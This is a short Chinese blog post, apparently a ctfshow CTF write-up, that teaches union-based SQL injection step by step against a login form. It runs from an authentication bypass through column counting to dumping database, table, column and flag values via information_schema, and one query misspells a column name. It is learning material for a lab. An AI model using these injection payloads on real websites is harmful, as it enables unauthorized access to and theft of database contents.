简单的sql注入

webrxtc2026-09-28 16 次阅读

group_concat()把东西拼接在一行里

比如

复制代码
group_concat (table_name)

就是把表名接在一起

unoin合并结果,并且去重

information_schema是一个库

information_schema.tables

它是一张真实存在的表,MySQL 自己维护的,他就是可以说是存了表面的东西。里面有几十列,我们只需要关心两列:

列名 含义 例子
table_schema 这个表属于哪个库 web2、mysql、test
table_name 这个表叫什么名字 flag、user

还有第2个表,他是系统存的列名的表

information_schema.columns

一般来说他会有三列:table_schema、table_name、column_name

这里的table_schema、table_name表达的意思和information_schema.tables里的一样

好的,知道这些就好了

我们首先要看看会不会在页面返回东西

复制代码
1' or 1=1 #

密码随便

看到有一个欢迎,ctfshow说明是会在页面这里返回的

接下来判断他们有多少列

先

复制代码
1' or 1=1 order by 3#

还是登进去了,说明没报错,所以至少有3列,那再试试

复制代码
1' or 1=1 order by 4#

ok啊,退回去了,报错了,说明就是只有3列

OK啊,3列,那他到底输出到页面的是那一列呢,试试就知道了

复制代码
-1' union select 1,2,3#

ok啊,来了个欢迎 2那就是第2列是输出点咯

那我们可以开始拿库名了

复制代码
-1' union select 1,database(),3#

ok啊,出来了个哈喽web2那库名就是他咯

那继续爆表名

复制代码
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'web2'#

ok啊,出现了flag 和uese,说明这个web2有两个表,那肯定在flag这个表啊

那我们要知道flag这个表里那里藏了flag才可以,所以我们要查列的名字

复制代码
-1' union select 1,group_concat(columns_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#

ok啊,欢迎flag,说明什么就是说这个flag的表就一列叫flag的列啊

那我可以那flag了

复制代码
-1' union select 1,group_concat(flag),3 from flag#

ok啊,直接出了

评论

正在加载评论区…